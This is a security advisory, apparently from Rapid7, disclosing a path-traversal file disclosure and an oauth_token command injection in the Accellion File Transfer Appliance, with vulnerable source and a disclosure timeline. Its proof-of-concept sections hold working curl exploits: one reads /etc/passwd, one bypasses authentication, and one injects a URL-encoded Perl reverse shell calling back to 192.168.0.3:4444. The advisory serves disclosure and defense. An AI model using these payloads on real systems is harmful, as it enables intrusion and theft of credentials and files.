Last updated at Fri, 10 May 2019 17:15:24 GMT

This disclosure covers two issues discovered with the Accellion File Transfer Appliance, a device used for secure enterprise file transfers. Issue R7-2015-08.1 is a remote file disclosure vulnerability, and issue R7-2015-08.2 is remote command execution vulnerability. Metasploit modules have been released for both issues, as of Pull Request 5694.

According to the vendor, both issues were addressed in version FTA_9_11_210, released on May 25, 2015.

R7-2015-08.1: Accellion FTA 'statecode' Cookie Remote File Disclosure (CVE-2015-2856)

The Accellion FTA is vulnerable to a remote file disclosurevulnerability due to insufficient sanitization of the 'statecode' cookie. This cookie will be appended to a file path that is generated when PHP templates are processed. An attacker can disclose the contents of any file readable by the web server by specifying a 'statecode' cookie value consisting of "../../../../../" followed by an absolute file path and an encoded NULL byte (). The web server user account on the FTA has access to a number of sensitive files, including FTA configuration information, the MySQL root password, and any files uploaded the user if their filesystem path is known. Note that while uploaded use randomized file IDs, the path names are semi-predictable and the entire path can be brute forces given enough time.

This issue is present on version FTA_9_11_200 and likely all versions prior to this release as well.

Details

The source of this vulnerability appears to be the template() function inside function.inc:

 $branding_path = "custom_template/{$g_app_id}/";  
    if ( $_COOKIE['statecode'] )  
    {  
        $branding_path .= $_COOKIE['statecode']."/";  
    }  
    // <snip>  
    if ( $fd = @fopen( $branding_path.$t_file, "r" ) )  
    {  
        $t_file = $branding_path.$t_file;  

This vulnerability may also exist in the template_goto() function inside wm_ui.inc, however this route has not been verified.

Proof of Concept

An attacker can exploit this vulnerability using the standard curl utility:

$ curl -b 'statecode=../../../../../etc/passwd%00' -i https://<fta>/courier/intermediate_login.html  
 

In addition, a Metasploit module has been released, accellion_fta_statecode_file_read.rb

R7-2015-08.2: Accellion FTA 'oauth_token' Remote Command Execution (CVE-2015-2857)

The Accellion FTA is vulnerable to a remote command execution vulnerability due to insufficient sanitization of the 'oauth_token' parameter. This parameter is passed into a system() command line through multiple mod_perl handlers. Although code execution occurs as the web user (nobody), this account has nearly complete access to the appliance due to how file permissions are configured by default. For example, the MySQL database password is stored in /home/filex1/db and this datasbase contains usernames, password hashes, LDAP credentials, event logs, and information about uploaded files. The web user also has access to all files uploaded to the appliance.

This issue is present on version FTA_9_11_200 and likely all versions prior to this release as well.

Details

This vulnerability is present in 3 places within /home/seos/api/Md/Utils.pm, detailed below

The get_oauth_customer_name() function is called by the twsPut, Find, Put, and mPut handlers and passes an oauth_token directly to the command line.

sub get_oauth_customer_name  
{  
  my ($aid, $token) = @_;  
  
  # SOAP Lite cannot work with mod perl? Call external script  
  my $customer_name = `/opt/bin/perl /home/seos/system/call_webservice.pl $aid oauth_ws.php get_consumer_name '$token'`;  
  return $customer_name;  
  # ...  
}  

The verify_oauth_token() function is called by the twsPut, twssetStatus, twsGet, twsgetStatus, Find, Put, and mPut handlers and passes an oauth_token directly to the command line.

sub verify_oauth_token  
{  
  my ($aid, $token, $scope) = @_;  
  
  # SOAP Lite cannot work with mod perl? Call external script  
  my $client_id = `/opt/bin/perl /home/seos/system/call_webservice.pl $aid oauth_ws.php verify_access_token '$token' '$scope'`;  
  return $client_id || 0;  
}  

The gc_oauth_file_access() function is called by the ckdf::AuthHandler, but this is unlikely to be exploitable, as email addresses are sanitized elsewhere first, and the call is made post authentication.

sub gc_oauth_file_access  
{  
  my ($aid, $user_email, $gc_fid) = @_;  
  
  my $result = `/opt/bin/perl /home/seos/system/call_webservice.pl $aid sclient_user_ws.php gc_oauth_file_access '$user_email' '$gc_fid'`;  
  return $result =~ /^1$/ ? 1 : 0;  
}  

Proof of Concept

An attacker can exploit this vulnerability via the /tws/getStatus URL using the standard curl utility.

The first example abuses this vulnerability in order to bypass authentication:

$ curl -k -XPOST -d "transaction_id=1&oauth_token='%3becho '" https://<fta>/tws/getStatus  
{"loc_id":"8888","result_code":"0","result_msg":"Success","transaction_id":"1","version":"0.18"}

The second example abuses this vulnerability in order to return a command shell to 192.168.0.3:4444:

# Open a netcat listener on port 4444 from one terminal  
$ nc -l 4444  
  
# Send our exploit request from a second terminal  
$ curl -k -XPOST -d "transaction_id=1&oauth_token=%27%3bperl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3bforeach%20my%20%24key%28keys%20%25ENV%29%7bif%28%24ENV%7b%24key%7d%3d~/%28.%2a%29/%29%7b%24ENV%7b%24key%7d%3d%241%3b%7d%7d%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22192.168.0.3%3a4444%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24~-%3efdopen%28%24c%2cw%29%3bwhile%28%3c%3e%29%7bif%28%24_%3d~%20/%28.%2a%29/%29%7bsystem%20%241%3b%7d%7d%3b%27%3becho%20%27" https://<fta>/tws/getStatus  
{"loc_id":"8888","result_code":"0","result_msg":"Success","transaction_id":"1","version":"0.18"}  
  
# Interact with our shell  
Connection from [fta] port 4444 [tcp/*] accepted (family 2, sport 48025)  
id  
uid=99(nobody) gid=99(nobody) groups=99(nobody)  

In addition, a Metasploit module has been released, accellion_fta_getstatus_oauth.rb.

Credit

These issues were discovered and reported by HD Moore of Rapid7, Inc.

Disclosure Timeline

  • Mon, Apr 27, 2015: Vendor contacted
  • Fri, May 01, 2015: Initial advisory draft provided for R7-2015-08.1
  • Tue, May 05, 2015: Updated draft provided with R7-2015-08.2
  • Fri, May 08, 2015: Phone call with Accellion to discuss issues
  • Tue, May 26, 2015: Disclosure to CERT/CC, CVEs assigned
  • Fri, Jul 10, 2015: Public Disclosure and Metasploit modules released (PR 5694)